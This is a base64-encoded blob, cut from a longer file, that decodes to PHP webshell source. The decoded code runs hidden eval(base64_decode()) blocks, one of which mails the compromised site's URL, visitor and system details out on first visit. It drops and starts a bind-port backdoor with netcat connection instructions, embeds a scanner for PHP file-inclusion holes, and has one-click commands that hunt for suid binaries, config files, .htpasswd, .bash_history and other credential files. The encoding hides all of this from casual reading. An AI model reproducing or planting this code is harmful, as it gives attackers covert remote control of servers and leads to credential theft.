HZJQ1JpYjJSNU93MEtMeTlsWTJodklDZDBiM1JoYkNCMGFXMWxPaUFuTGlodGFXTnliM1JwYldVb2RISjFaU2t0SkhSdmRITjBZWEowZEdsdFpTa3VJanhpY2lBdlBuQmhjbk5sSUhScGJXVTZJSHNrY0dGeWMyVjBhVzFsZlNCelpXTnZibVJ6SWk0b2FYTnpaWFFvSkc5d1lYSnpaWFJwYldVcFB5SThZbklnTHo1dmRHaGxjaUIwYVcxbElERTZJSHNrYjNCaGNuTmxkR2x0WlgwZ2MyVmpiMjVrY3lJNmJuVnNiQ2t1S0dsemMyVjBLQ1J2Y0dGeWMyVjBhVzFsTWlrL0lqeGljaUF2UG05MGFHVnlJSFJwYldVZ01qb2dleVJ2Y0dGeWMyVjBhVzFsTW4wZ2MyVmpiMjVrY3lJNmJuVnNiQ2s3SUNNZ1FrVk9RMGhOUVZKTERRb05DaU1nZlgxOURRb05DbVpwYm1semFDZ3BPdzBLRFFvakl5TWpJeU1qSXlNakl5TU5DaU1qSUZSSVJTQkZUa1FnSXlNTkNpTWpJeU1qSXlNakl5TWpJeU1qRFFvakRRb2pJRlpKVFNCcGN5QjBhR1VnYVdSbFlXd2dkMkY1SUhSdklHVmthWFFnZEdocGN5Qm1hV3hsTGlBZ1FYVjBiMjFoZEdsaklHWnZiR1JwYm1jZ2IyTmpkWEp6SUcxaGEybHVaeUIwYUdVTkNpTWdZbXh2WTJ0eklHOW1JR052WkdVZ1pXRnphV1Z5SUhSdklISmxZV1FnWVc1a0lHNWhkbWxuWVhSbERRb2pJSFpwYlRwbWIyeGtiV1YwYUc5a1BXMWhjbXRsY2cwS0l3MEtJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJRDgrRFFvPSI7DQokc2hlbGxfZGF0YSA9ICJKSFpwYzJsMFkyOTFiblFnUFNBa1NGUlVVRjlEVDA5TFNVVmZWa0ZTVTFzaWRtbHphWFJ6SWwwN0lBMEthV1lvSUNSMmFYTnBkR052ZFc1MElEMDlJQ0lpS1NCN0RRb2tkbWx6YVhSamIzVnVkQ0E5SURBN0lBMEtKSFpwYzJsMGIzSWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc2dEUW9rZDJWaUlEMGdKRjlUUlZKV1JWSmJJa2hVVkZCZlNFOVRWQ0pkT3lBTkNpUnBibW9nUFNBa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNnRFFva2RHRnlaMlYwSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3SUEwS0pIVnVZVzFsSUQwZ2NHaHdYM1Z1WVcxbEtDazdEUW9rYVdRZ1BTQm5aWFJmWTNWeWNtVnVkRjkxYzJWeUtDazdEUW9rWW05a2VTQTlJQ0lnV3l0ZFUyaGxiR3c2SUNSMFlYSm5aWFFnWEc0Z1d5dGRTVzVxWldOMGIzSTZJQ1IyYVhOcGRHOXlJRnh1SUZzclhYVnVZVzFsSUMxaE9pQWtkVzVoYldVZ1hHNGdXeXRkVlhObGNqb2dKR2xrSWpzTkNrQnRZV2xzS0NJaUxDSmJlRjBnYUhSMGNEb3ZMeVIwWVhKblpYUWdZbmtnSkhacGMybDBiM0lpTENBaUpHSnZaSGtpS1RzTkNuMGdEUXBsYkhObElBMEtleUFrZG1semFYUmpiM1Z1ZERzZ2ZTQU5Dbk5sZEdOdmIydHBaU2dpZG1semFYUnpJaXdrZG1semFYUmpiM1Z1ZENrNyI7IGV2YWwoYmFzZTY0X2RlY29kZSgkc2hlbGxfZGF0YSkpOw0KJGZpPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMTNJQTBLRFFwMWMyVWdjM1J5YVdOME95QU5DblZ6WlNCR2FXeGxPanBHYVc1a095QU5DblZ6WlNCRGQyUTdJQTBLRFFwdGVTQWtjM1JrYjNWMFEyaGxZMnNnUFNBd095QU5DbTE1SUNSd2NtOW5jbUZ0U1c1bWJ5QTlJQTBLSnlBTkNpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUEwS0l5QWdURzlqWVd3Z1RFWkpMMUpHU1NCVFkyRnVibVZ5SUdKNUlGSnZiVzV2ZFhNZ0lDQWdJQ0FnSUNBZ0lDQWdJQ01nRFFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRJeUFOQ2lNZ0lGZHBiR3dnYzJOaGJpQnNiMk5oYkNCUVNGQWdabWxzWlhNZ2FXNGdaR2x5WldOMGIzSjVJQ0FnSUNBZ0lDQWpJQTBLSXlBZ2NHRnpjMlZrSUdsdUlIUm9aU0JtYVhKemRDQmhjbWQxYldWdWRDQjBieUIwYUdVZ2MyTnlhWEIwSUNBZ0lDTWdEUW9qSUNCbWIzSWdjRzl6YzJsaWJHVWdURVpKTDFKR1NTQjJkV3h1WlhKaFltbHNhWFJwWlhNdUlDQWdJQ0FnSUNBZ0l5QU5DaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNaklBMEtKenNnRFFvTkNuQnlhVzUwSUNSd2NtOW5jbUZ0U1c1bWJ6c2dEUW9OQ20xNUlDUndjbTluY21GdFZYTmhaMlVnUFNBTkNpY2dEUXBWYzJGblpUb2dKeUF1SUNRd0lDNGdKeUJFU1ZKT1FVMUZJQ2d0ZHlCbWFXeGxLU0FOQ2xWelpTQmdMWGNnWm1sc1pXQWdZWFFnZEdobElHVnVaQ0IwYnlCM2NtbDBaU0IwYnlCZ1ptbHNaV0FnRFFvbk95QU5DZzBLYlhrZ0pITmxZWEpqYUVScGNtVmpkRzl5ZVNBOUlDUkJVa2RXV3pCZE95QU5DZzBLZFc1c1pYTnpJQ2drYzJWaGNtTm9SR2x5WldOMGIzSjVLU0FOQ25zZ0RRb2dJSEJ5YVc1MElDUndjbTluY21GdFZYTmhaMlVnWVc1a0lHUnBaU2dpWEc0aUtUc2dEUXA5SUEwS0RRcHRlU0FrWTNWeWNtVnVkRVJwY21WamRHOXllU0E5SUdkbGRHTjNaQ0FvS1RzZ0RRb05DbTkxY2lBa1pHbHlaV04wYjNKNVEyOTFiblFnUFNBd095QU5DbTkxY2lBa1ptbHNaVU52ZFc1MElEMGdNRHNnRFFwdmRYSWdKSFoxYkc1bGNtRmlhV3hwZEhsRGIzVnVkQ0E5SURBN0lBMEtEUXBwWmlBb0pFRlNSMVpiTVYwZ1pYRWdKeTEzSnlrZ0RRcDdJQTBLSUNBa2MzUmtiM1YwUTJobFkyc2dQU0F4T3lBTkNpQWdiM0JsYmlBb1UxUkVUMVZVTENBblBpY2dMaUFrUVZKSFZsc3lYU2s3SUEwS2ZTQU5DZzBLWm1sdVpDQW9YQ1p3Y205alpYTnpUMkpxWldOMExDQWlKR04xY25KbGJuUkVhWEpsWTNSdmNua3ZKSE5sWVhKamFFUnBjbVZqZEc5eWVTSXBPeUFOQ2cwS0pITjBaRzkxZEVOb1pXTnJJRDA5SURFZ1B5QW9jSEpwYm5RZ0owWnBibWx6YUdWa0lTY2dMaUFpWEc0aUtTQTZJQ2h3Y21sdWRDQWlYREF6TTFzeGJTSWdMaUFuUm1sdWFYTm9aV1FoSnlBdUlDSmNNRE16V3pCdFhHNGlLVHNnRFFwd2NtbHVkQ0FuTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMG5JQzRnSWx4dUlqc2dEUXB3Y21sdWRDQW5SR2x5WldOMGIzSnBaWE1nYzJOaGJtNWxaRG9nSnlBdUlDUmthWEpsWTNSdmNubERiM1Z1ZENBdUlDSmNiaUk3SUEwS2NISnBiblFnSjBacGJHVnpJSE5qWVc1dVpXUTZJQ2NnTGlBa1ptbHNaVU52ZFc1MElDNGdJbHh1SWpzZ0RRcHdjbWx1ZENBblVHOXpjMmxpYkdVZ2RuVnNibVZ5WVdKcGJHbDBhV1Z6T2lBbklDNGdKSFoxYkc1bGNtRmlhV3hwZEhsRGIzVnVkQ0F1SUNKY2JpSTdJQTBLY0hKcGJuUWdKMFY0WldOMWRHbHZiaUIwYVcxbE9pQW5JQzRnS0hScGJXVWdMU0FrWGxRcElDNGdKeUJ6WldOdmJtUW9jeWt1SnlBdUlDSmNibHh1SWpzZ0RRb05DbWxtSUNna2MzUmtiM1YwUTJobFkyc3BJQTBLZXlBTkNpQWdZMnh2YzJVZ0tGTlVSRTlWVkNrN0lBMEtmU0FOQ2cwS2MzVmlJSEJ5YjJObGMzTlBZbXBsWTNRZ0RRcDdJQTBLRFFvZ0lHbG1JQ2d0WmlBa1JtbHNaVG82Um1sdVpEbzZibUZ0WlNCaGJtUWdKRVpwYkdVNk9rWnBibVE2T201aGJXVWdQWDRnYlM5Y0xpaHdhSFJ0Ykh4d2FIQjhjR2h3TTN4d2FIQTBLU1F2S1NBTkNpQWdleUFOQ2lBZ0lDQWtabWxzWlVOdmRXNTBLeXM3SUEwS0lDQWdJRzl3Wlc0Z0tIQm9jRVpwYkdVc0lDUkdhV3hsT2pwR2FXNWtPanB1WVcxbEtTQnZjaUJ5WlhSMWNtNGdKMVZ1WVdKc1pTQjBieUJ2Y0dWdUlHWnBiR1VnSWljZ0xpQWtSbWxzWlRvNlJtbHVaRG82Ym1GdFpTQXVJQ2NpTENCamFHVmpheUJ3WlhKdGFYTnphVzl1Y3o4bklDNGdJbHh1SWpzZ0RRb2dJQ0FnYlhrZ1FHWnBiR1ZUZEhKcGJtZHpJRDBnUEhCb2NFWnBiR1UrT3lBTkNpQWdJQ0JqYkc5elpTaHdhSEJHYVd4bEtUc2dEUW9nSUNBZ2JYa2dKSFJ2ZEdGc1RHbHVaWE1nUFNBa0kyWnBiR1ZUZEhKcGJtZHpPeUFOQ2lBZ0lDQm1iM0lnS0cxNUlDUnpkSEpwYm1kRGIzVnVkQ0E5SURBN0lDUnpkSEpwYm1kRGIzVnVkQ0E4UFNBa2RHOTBZV3hNYVc1bGN6c2dKSE4wY21sdVowTnZkVzUwS3lzcElBMEtJQ0FnSUhzZ0RRb2dJQ0FnSUNCcFppQW9KR1pwYkdWVGRISnBibWR6V3lSemRISnBibWREYjNWdWRGMGdQWDRnYlM4b0tEODZhVzVqYkhWa1pYeHlaWEYxYVhKbEtTZy9PbDl2Ym1ObEtUOWNjeXBjS0M0cVAxd2tMaW8vWENrN0tTOW5hU2tnRFFvZ0lDQWdJQ0I3SUEwS0lDQWdJQ0FnSUNBa2RuVnNibVZ5WVdKcGJHbDBlVU52ZFc1MEt5czdJQTBLSUNBZ0lDQWdJQ0FrYzNSa2IzVjBRMmhsWTJzZ1BUMGdNU0EvSUNod2NtbHVkQ0FuVUc5emMybGliR1VnZG5Wc2JtVnlZV0pwYkdsMGVTQnBiaUFpSnlBdUlDUkdhV3hsT2pwR2FXNWtPanB1WVcxbElDNGdKeUlnYjI0Z2JHbHVaU0FuSUM0Z0tDUnpkSEpwYm1kRGIzVnVkQ0FySURFcElDNGdKem9uSUM0Z0lseHVJaWtnRFFvZ0lDQWdJQ0FnSURvZ0tIQnlhVzUwSUNKY01ETXpXekZ0SWlBdUlDZFFiM056YVdKc1pTQjJkV3h1WlhKaFltbHNhWFI1SUdsdUlDSW5JQzRnSkVacGJHVTZPa1pwYm1RNk9tNWhiV1VnTGlBbklpQnZiaUJzYVc1bElDY2dMaUFvSkhOMGNtbHVaME52ZFc1MElDc2dNU2tnTGlBbk9pY2dMaUFpTGx3d016TmJNRzFjYmlJcE95QU5DaUFnSUNBZ0lDQWdjSEpwYm5RZ0lseDBJaUF1SUNReElDNGdJbHh1WEc0aU95QU5DaUFnSUNBZ0lIMGdEUW9nSUNBZ2ZTQU5DaUFnZlNBTkNpQWdhV1lnS0Mxa0lDUkdhV3hsT2pwR2FXNWtPanB1WVcxbEtTQU5DaUFnZXlBTkNpQWdJQ0FrWkdseVpXTjBiM0o1UTI5MWJuUXJLenNnRFFvZ0lIMGdEUXA5IjsNCg0KDQppZiAoJHggPT0gIm1rZGlyIikgDQp7IA0KIGlmICgkbWtkaXIgIT0gJGQpIA0KIHsgDQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fSANCiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fSANCiAgZWNobyAnPGJyPjxicj4nOyANCiB9IA0KICR4ID0gJGRzcGFjdCA9ICdscyc7IA0KfSANCg0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOw0KICBpZigkd19maWxlKSB7DQogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiAgICBAZmNsb3NlKCR3X2ZpbGUpOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGNmYigkZm5hbWUsJHRleHQpIHsNCiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0NCmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgew0KICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQogICRwb3IgPSAkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddOw0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IHNoYmQiKTsNCiAgICAkY21kID0gIi4vc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfSBlbHNlIHsNCiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOw0KICAgICRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfQ0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+QmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOw0KICB9IGVsc2Ugew0KICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOw0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7DQp9DQoNCg0KQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsNCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7DQogICAgICBpZiAoaXNfYXJyYXkoJGFycikpIHsNCiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9DQogICAgfQ0KICB9DQogIHN0cmlwcygkR0xPQkFMUyk7DQp9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IA0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7IGlmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O30gfQ0KaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUpIHsNCiAgJGluY2x1ZGUgPSAiJiI7DQogIGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7DQogICAgJHYgPSBleHBsb2RlKCI9Iiwkdik7DQogICAgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOw0KICAgICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7DQogICAgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7DQogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgew0KICAgICAgICAkaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7DQogICAgICB9DQogICAgfQ0KICB9DQp9DQppZiAoZW1wdHkoJHN1cmwpKSB7DQogICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyANCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiRmdHlwZXMgID0gYXJyYXkoDQogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogICAgInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogICAgImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIsImNvbmYiKSwNCiAgICAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksDQogICAgImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksDQogICAgInNkYiI9PmFycmF5KCJzZGIiKSwNCiAgICAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksDQogICAgImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikNCik7DQokZXhlZnR5cGVzICA9IGFycmF5KA0KICAgIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPXJlZD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50YXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5yYXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucGhwNCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ2lmJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtbCQiLDEsIjxmb250IGNvbG9yPSMwMENDRkY+IiwiPC9mb250PiIpLA0KCWFycmF5KCJpbmRleC5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQoJYXJyYXkoImNvbmZpZ3VyYXRpb24ucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KCWFycmF5KCJjb25maWcucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJzZXR0aW5ncy5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQogICAgYXJyYXkoImNvbm5lY3QucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpDQopOw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJscyAtYWwiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksDQogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ciKSwNCiAgICBhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAw